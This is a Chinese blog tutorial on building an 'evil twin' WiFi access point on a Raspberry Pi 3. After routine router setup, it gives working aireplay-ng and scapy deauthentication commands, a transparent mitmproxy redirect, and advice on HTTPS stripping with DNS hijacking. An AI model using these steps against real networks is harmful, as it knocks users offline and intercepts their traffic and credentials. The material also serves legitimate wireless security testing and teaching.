使用树枚派3搭建WiFi钓鱼平台(原创)

Posted by anqing on April 3, 2018

使用树枚派3搭建WiFi钓鱼平台

在这篇文章中我们会基于Raspberry Pi3搭建一个WiFi钓鱼测试平台.刚开始本来打算直接刷一个Kali for Raspberry的镜像直接了事,但是遇到几个坑后就放弃了.直接刷上了原版的树枚派系统.

硬件:

  • 主机:

    树莓派3;CPU为一颗1.2G赫兹64bit四核ARMv8,看CPU核心数挺唬人的,实际上要看应用场景,我这WiFi路由平台运行起来感觉有点吃力;无线网卡型号为BCM43438,同时支持WiFi与蓝牙。

  • 存储:

    32G SD卡,当然也支持USB启动但是我没有测试,有兴趣的朋友可以自己玩玩.

  • USB无线网卡: (TP-Link WN722N)

    刚开始我们测试的是RTL8812AU这个芯片的网卡,支持2.4G与5G频段,测试之后就后悔贪便宜了(X宝上买的,好像是某电视机的WiFi模块改),同时在kali与debian下测试,kali apt安装源自带这个芯片的驱动;debian则需要编译安装驱动了,Github上面不少RTL8812AU的驱动,后面测试了几次,换了N次驱动后终于可以通过aireplay的测试了,但是网卡表现非常不稳定十次中有九次提示没有发现AP(使用Scapy发送DeAuth数据帧还是没问题的,反正我每次连续发一百个包还是能踢客户端下去的).后来实在不想搞网卡驱动了,直接上TP-Link WN722N(2.4G)还不用装驱动,树枚派直接就给识别了。

软件

  • OS (Raspbian Stretch Lite):

    刚开始因为懒直接刷的Kali for Raspberry,结果在创建AP的时候各种莫名奇妙,先是网卡MAC地址每次重启都会不停的变(MAC Address Spoofing,这个倒是关闭了),接下来是hostapd与数莓派内置网卡驱动不兼容。折腾了几次后干脆就换回树枚派官方的系统了。

  • DHCP Server (isc-dhcp-server):

    DHCP Server我这选择了使用isc-dhcp-server。当然使用dnsmasq也是可以的.

  • DNS Server(DNSMasq):

    这个没什么好说的,实在时没有找到更合适的,而且dnsmasq配置也方便.

开始部署:

  • 安装操作系统: 1. 系统下载地址:https://downloads.raspberrypi.org/raspbian_lite_latest 2. 写入系统镜像:准备一个不小于8G的SD卡,将下载好的系统镜像写入到SD中.推荐在Linux系统下使用dd写入,Windows下可用Win32DiskImager. 3. 调整分区大小:如果SD卡大于8G并且想充分利用剩余空间请往下看,否则请跳过,Windows系统的也请跳过.
            a. 将SD卡接入到电脑,执行sudo fdisk -l 找到sd卡的设备文件路径,我这是/dev/sdc.
             创建两个文件夹,执行cd ~ && mkdir bak sdc2, bak用来保存SD卡中的数据,sdc2作为/dev/sdc2的挂载点.
            b. 挂载sdc2,执行 sudo mount /dev/sdc2 /home/xxxx/sdc2
             备份文件,先进入刚才创建的bak目录,执行 cd /home/xxxx/bak;然后拷贝文件(一定记得带权限拷贝)到当前目录,执行cp -R -p ../sdc2/* ./
            c. 卸载分区,sudo umount /dev/sdc2
            d. 重新分区, 执行sudo fdisk /dev/sdc进入磁盘分区程序;命令p可以打印当前的分区个数,当前SD卡有两个分区,分区1为Boot分区保存系统的内核文件启动文件;分区2为文件系统根分区.上一步我们备份的就是文件系统.
            e. 删出分区2,输入命令d 然后回车,提示要删除的分区号,直接输入2回车;完成后可以输入p打印磁盘分区验证一下.
            f. 重新创建分区2,输入命令n 回车,提示分区类型的时候选择p主分区,分区号默认为2直接回车,当提示起始扇区的时候要留意一下是否为1号分区终止扇区加1,终止扇区默认确认无误后回车.
            g. 保存修改,执行w回车.
            h. 格式化分区,执行命令 sudo mkfs.ext4 /dev/sdc2
            i. 最后重新将sdc2挂载到刚才创建的目录中,将备份的数据拷贝回来就好了,记得带权限拷贝.
    
    4. 启动系统:将SD卡插回到数莓派后加点启动,默认用户名是pi,密码raspberry
    5. 登录系统后先更新apt,然后再安装下ssh server,
    
			# sudo apt update  # 更新apt  
			# sudo apt install openssh-server # 安装ssh server  
			# sudo systemctl enable sshd # 开启运行ssh server  
			# sudo systemctl start sshd # 启动ssh server
  • 安装Hostapd:

    hostapd 是一个用户态用于AP和认证服务器的守护进程。它实现了IEEE 802.11相关的接入管理,IEEE 802.1X/WPA/WPA2/EAP 认证, RADIUS客户端,EAP服务器和RADIUS 认证服务器。Linux下支持的驱动有:Host AP,madwifi,基于mac80211的驱动。

  • 安装软件包:

    sudo apt install hostapd

  • 配置文件:

    软件包安装好后,我们需要为程序创建一个配置文件,配置文件模板在/usr/share/doc/hostapd/examples/hostapd.conf.gz.

    # /etc/hostapd/hostapd.conf
    ssid=ASUS  # 热点名称  
    hw_mode=g # 工作在802.11G模式  
    channel=1 # 频道1  
    interface=wlan0 # 用来创建AP的无线网卡  
    driver=nl80211 # 驱动,默认这个就好  
    ignore_broadcast_ssid=0 # 是否隐藏ssid,当然不  
    macaddr_acl=0 # mac地址访问控制列表,细节参见模板文件&baidu  
    auth_algs=3 # 验证模式,1表示开放系统验证,2表示预共享密钥认证,3表示都支持:P  
    wpa=3 # 表示wpa与wpa2都支持.  
    wpa_passphrase=xxxx # wifi密钥  
    wpa_key_mgmt=WPA-PSK
    wpa_pairwise=TKIP CCMP  
    rsn_pairwise=CCMP  
    
  • 配置文件修改好后,运行下面的命令设置服务随系统启动并启动服务:
    sudo systemctl start hostapd
    sudo systemctl enable hostapd
    
  • 启动hostapd服务后,搜索热点可以发现一个名为ASUS的热点,配置上没有问题的话应该可以正常建立连接的,但是客户端获取不到IP地址。

  • 配置网卡IP地址:

    我们需要给AP配置一个IP地址,用于DHCP以及与客户端通信使用。
    配置文件路径:/etc/network/interfaces.d/wlan0
    内容如下:

    auto wlan0
    iface wlan0 inet static
      address 172.18.255.254
      netmask 255.255.0.0
    
  • ** DHCP Server **

    dhcp服务器用来给客户端动态分配IP地址;我在搭建测试环境的过程中发现一台PC(debian9-64位无图形界面)在热点漫游后还是使用的上一个热点分配的IP地址,如果此时我们的dhcp地址池与目标网络的不一致可能会造成客户端明明已经连接上了我们的热点,但是因为IP地址不在一个网络而不能通信。

  • 安装软件包:

    sudo apt install isc-dhcp-server #安装软件包

  • 配置文件:

    配置文件路径: /etc/dhcp/dhcpd.conf 在文件的尾部添加下面的内容:

    subnet 172.18.0.0 netmask 255.255.0.0
      {
      range 172.18.0.1 172.18.0.250;  # dhcp池
      option domain-name-servers 172.18.255.254; # DNS这个应该设置成网关网关地址,这里是172.18.255.254
      option routers 172.18.255.254;  # 给客户端指定的默认网关
      default-lease-time 600;  # 默认租约时间
      max-lease-time 7200;  # 最大租约时间
      }
    
    • 设置开机启动:sudo systemctl enable isc-dhcp-server
    • 启动dhcp服务: sudo systemctl start isc-dhcp-server
    • 测试:测试测试热点链接,如果可以连接到热点并且获取到IP地址表示服务运行正常。
  • 配置路由与地址转换:

    配置了热点的IP地址与DHCP服务器之后,我们的热点已经可以跟客户端正常通信了。接下来我们需要给热点配置路由与网络地址转换

  • 开启包转发功能:Linux系统处于安全因素默认是禁止包转发的,但是我们此刻需要将raspberry打造成一台路由器,因此我们需要手动开启包转发的功能,这里有两个途径来启用。
  临时开启:(执行这个命令需要root权限)
  # sudo echo 1 >  /proc/sys/net/ipv4/ip_forward
  一劳永逸:修改/etc/sysctl.conf配置文件,取消注释 net.ipv4.ip_forward=1 或者在文件末尾添加一行。修改完成后执行: sudo sysctl -p 立即生效
  • 启用NAT:

    经过前面的配置,路由转发已经开启了。此时我们还需要给给raspberry添加地址伪装的功能(或者叫地址映射、端口映射等名字),这里需要用到iptables。

  • IPTABLES:

    iptables 组件是一种工具,它使插入、修改和除去信息包过滤表中的规则变得容易。这里我们只用到了nat表。 nat表默认有四个链: Input、Output、PREROUTING、POSTROUTING对应输入队列、输出队列、预路由队列、后路由队列;输入输出队列用于数据包的过滤,而我们将要使用的是POSTROUTING队列,数据包在投递出去的时候将我们的私有网络的地址(数据报文的源地址)修改成公网地址。

  • 物理端口:连接互联网的接口这里使用树莓派集成的物理网卡eth0;连接内网的是wlan0也就是作为热点的网卡。

    命令: sudo iptables -t nat -A POSTROUTING -s 172.18.0.0/16 -o eth0 -j MASQUERADE
    保存配置 sudo iptables-save > /etc/iptables.rules
    开机自动加载配置:创建文件 /etc/network/if-pre-up.d/iptables,内容如下:

  #! /bin/sh
  iptables-restore /etc/iptables.rules  
  • 到这里我们就成功将树枚派3打造成了一台正儿八经无线路由器了,我们给他取名”router-pi”。

  • Router-Pi的”进化”:

    通过上面的配置router-pi就诞生了.当然对比其他硬件wifi路由器router-pi比较弱势,为了节省空间它的天线是直接蚀刻到电路板上小到我都看不到(其实是我没有找到天线位置);而且作为软AP在信号处理速度上也是远远不及硬件WiFi路由器的.当然router-pi并不是要去硬拼别人的强项,它非常娇小灵活能胜任很多硬件无线路由器不能胜任的工作.下面我们设想这样一个场景:
    * router-pi诞生后感觉很孤单,它很羡慕别的无线路由器有很多的小伙伴连接陪他玩耍;就比如那个叫GoodBoy的家伙,有很多的小伙伴每天都来找它玩耍,还有很多慕名而来的;router-pi很难过,它希望能够像GoodBoy一样受欢迎,但现实往往是残酷的,router-pi很沮丧.
    * 某天一个陌生的面孔出现了,说要找GoodBoy一起玩耍,她看了router-pi一眼后就走开了,她是来找GoodBoy的.router-pi看着她去到了GoodBoy那边;"要是我就是GoodBoy多好啊",router-pi心里默默想着.第二天它就开始了自己的计划: ```

    1. 修改SSID为GoodBoy
    2. 修改认证方式
    3. 修改连接密码 ```
      * 此刻router-pi拥有了新的名字'GoodBoy',或者我们应该叫它GoodBoy(pi). 它一遍又一遍的高喊着'我是GoodBoy,我是GoodBoy'一遍又一遍...
      * 慢慢的有些慕名来找GoodBoy玩耍的小伙伴们也跟GoodBoy(pi)玩耍了,'这是一个好的开始'GoodBoy(pi)私下里这样想着.日子一天天过去,来找GoodBoy(pi)玩耍的小伙伴始终少得可怜;它开始很不理解?为什么小伙伴们还是不愿意跟它一起玩耍.后来它发现真实的GoodBoy外形很酷,信号很强而且速度很快,GoodBoy(pi)意识到自己这方面根本不是对手.("要是GoodBoy出了问题才好"它如此想..)
      * GoodBoy(pi)认为这样下去不行,它打算提升自己并开始认真阅读802.11协议的相关资料,直到它看到了.....
      
    • 802.11:
    • IEEE 802.11是现今无线局域网通用的标准,它是由国际电机电子工程学会(IEEE)所定义的无线网络通信的标准。其中定义了媒体访问控制层(MAC层)和物理层。物理层定义了工作在2.4GHz的ISM频段上的两种扩频作调制方式和一种红外传输的方式,总数据传输速率设计为2Mbit/s。两个设备可以自行构建临时网络,也可以在基站(Base Station, BS)或者接入点(Access Point,AP)的协调下通信。为了在不同的通讯环境下取得良好的通讯质量,采用CSMA/CA(Carrier Sense Multiple Access/Collision Avoidance)硬件沟通方式
    • 802.11标准将所有的数据包分为3种: ```
      1. 数据: 数据数据包的作用是用来携带更高层次的数据(如IP数据包,ISO7层协议)。它负责在工作站之间传输数据。
      2. 管理: 管理数据包控制网络的管理功能
        1) 信标帧(Beacons): 在无线设备中,定时依次按指定间隔发送的有规律的无线信号(类似心跳包),主要用于定位和同步使用
        2) 解除认证(Deauthentication)数据包
        3) Probe(request and response)
        4) Authenticate(request and response)
        5) Associate(request and response)
        6) Reassociate(request and response)
        7) Dissassociate(notify) 管理帧负责监督,主要用来加入或退出无线网络,以及处理接入点之间连接的转移事宜
      3. 控制: 控制数据包得名于术语”媒体接入控制(Media Access Control, MAC)”,是用来控制对共享媒体(即物理媒介,如光缆)的访问
        1) 请求发送(Request To Send,RTS)数据包
        2) 清除发送(Clear To Send,CTS)数据包
        3) ACK确认(RTS/CTS)
        4) PS-Poll: 当一部移动工作站从省电模式中苏醒,便会发送一个 PS-Poll 帧给基站,以取得任何暂存帧
        控制帧通常与数据帧搭配使用,负责区域的清空、信道的取得以及载波监听的维护,并于收到数据时予以正面的应答,借此促进工作站间数据传输的可靠性 ```
  • 普通无加密连接过程:
    • AP发送Beacon广播管理帧
      Beacon管理帧数据包是广播地址,网卡会接收到这个数据包,然后在我们的"无线连接列表"中显示出来
    • 客户端向承载指定SSID的AP发送Probe Request(探测请求)帧
      当我们点击"连接"的时候,无线网卡就会发送一个Prob数据帧,用来向AP请求连接
    • AP接入点对客户端的SSID连接请求进行应答
    • 客户端对目标AP请求进行身份认证(Authentication)
    • AP对客户端的身份认证(Authentication)请求作出回应
    • 客户端向AP发送连接(Association)请求
    • AP对连接(Association)请求进行回应
    • 客户端向AP请求断开连接(Disassociation)
    • 数据、管理和控制帧中,管理帧负责连接的建立与客户端认证工作,一个已经与热点建立连接的客户端如果收到一个Deauthentication数据报文,那么这个连接将会断开。

    • 了解到这些,GoodBoy(pi)很兴奋,它查阅资料发现管理帧是没有加密的(wpa3会修复这个漏洞),也就是任何人都可以伪造一个Deauthentication帧发送给目标无线热点或者目标客户端让收到这个数据的一方解除认证断开连接。

    • GoodBoy(pi)给自己添加了一个功能,探听GoodBoy与它的小伙伴们的通信并获取他们的通信地址,然后对他们发送伪造DeAuth数据帧,让他们都以为自己连接的热点不提供服务了(拒绝服务攻击)。

    • 从此GoodBoy(Pi)取代了原来GoodBoy的位置,它成了'真正'的GoodBoy,和它梦寐以求的小伙伴们一起开心的玩耍。

    • 通过上面的场景我们知道要对一个WiFi热点进行劫持,我们只需要获取它的SSID/认证方式/密钥即可创建一个表面上与它一模一样的WiFi热点;剩下的工作只需要让目标路由器无法正常工作,用户自然会来连接我们伪造的WiFi热点。我们先了解一下aircrack-ng套件,我们会用到几个工具:
          * Aircrack-ng:无线密码破解
          * Aireplay:生成网络数据,去客户端验证
          * Airodump-ng:数据包捕捉
          * Airbase-ng:配置伪造的接入点
          * Airmon-ng:启用和禁用无线接口上的监控模式
      
    • 这里我们只需要用到airodump-ng与aireplay-ng

    • 第一步:我们需要将无线网卡设置成监听模式, iw dev {无线网卡名称(WN722N)} set type monitor 或者 iwconfig {无线网卡名称(WN722N)} mode monitor 再或者 airmon start {无线网卡名称(WN722N)},这几种方式看个人习惯。

    • 第二步:抓取我们需要的数据,执行命令airodump-ng {无线网卡的名称(WN722N)}会抓取所有监听到的wifi通信数据包,面板上半部分是当前范围空间监听到的wifi热点信息列表,包括ssid/bssid/channel/认证方式等信息;下半部分显示的是WiFi客户端与热点的关联列表.我们只需要获取目标热点的bssid也就是MAC地址.

    • 第三步:拒绝服务攻击,执行命令aireplay-ng -0 0 -a {bssid} # aireplay-ng --help还有很多功能等着你;命令中的-0 0第一个0表示攻击类型为–deauth,第二个零表示重复发送DeAuth的数据帧进行攻击,也可以替换成一个整数表示攻击次数.命令中我们只填写了bssid所以目标热点上的所有客户端都会被DeAuth.在目标热点无法提供服务的时候客户端就会去连接我们伪造的热点,当然那些绑定了bssid的客户端是没有办法的。

    • 通过以上三步我们完成了DeAuth攻击;当然我们除了使用aircrack-ng套件以外还有很多其他的选择,比如scapy是一个python库方便我们组装各种数据帧,还有libpcap等.
      # python3
      > from scapy.all import *  
      > bssid = '{bssid}'  
      > client = '{目标客户端mac地址}  
      > packet = RadioTap(present=0)/Dot11(type=0,subtype=12,addr1=client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7)  
      > sendp(packet, iface='{无线网卡的名称(WN722N)}')  
      
    • 上面的代码中addr1设置成广播地址FF:FF:FF:FF:FF:FF会造成所有连接到目标热点的客户端断开连接.
  • router-pi的黑化

    某一天,一个黑衣人来找到了router-pi说可以帮它拥有更多的小伙伴;那个人劝说router-pi要了解小伙伴们的需求才能提供更好的服务,但是必须要安装一个软件模块.一直以来router-pi只是作为一个信使在默默的为大家服务,它希望提升自己服务更多的人.那个黑衣人承诺会给它升级更好的计算性能与更高的信号覆盖范围,这个条件显然打动了router-pi;于是router-pi开始去了解那个模块:mitmproxy这个软件会将小伙伴们的信件拆开来看一眼然后再投递出去;虽然理智告诉router-pi这样做不好…

    • Mitmproxy是一款支持HTTP(S)的中间人代理工具,支持编写脚本来批量处理请求。Mitmproxy使用Python开发,是辅助web开发&测试,移动端调试,渗透测试的工具。

    • 安装MiTMProxy, 执行命令sudo apt install mitmproxy

    • MiTMProxy支持终端和web显示模式,其中mitmdump输出类似tcpdump.我们主要用到的是mitmweb.直接运行mitmweb命令就可以启动代理了,默认监听端口是8080,默认管理端口为8081。

    • 代理程序运行起来后,我们设置web浏览器的代理地址,http/https请求所有数据就会呈现在mitmproxy的管理页面。

    • 当然无线客户端用户可不会去设置什么http代理,所以我们需要在router-pi中设置一个透明代理:
          > sudo iptables -t nat -A PREROUTING -i {AP网卡名称(树莓派内置)} -p tcp --dport 80 -j REDIRECT --to-port 8080
          > sudo iptables-save > /etc/iptables.rules
      
    • 运行上面两条命令将所有的http流量都重定向到了本机的8080端口(-j REDIRECT只对本机起作用),其它如https端口也如法炮制,改一下–dport就好。

    • 关于https的流量分析,我建议还是用mitmproxy的反向代理配合dnsmasq的dns劫持比较好,mitmproxy反向代理会将https进行剥离,到客户端那里就降级成http协议(用户在地址中明确指定使用https协议这个方法就无效了),不会提示证书问题了.dnsmasq做dns劫持很简单就不说了,配置文件添加一条记录就行了.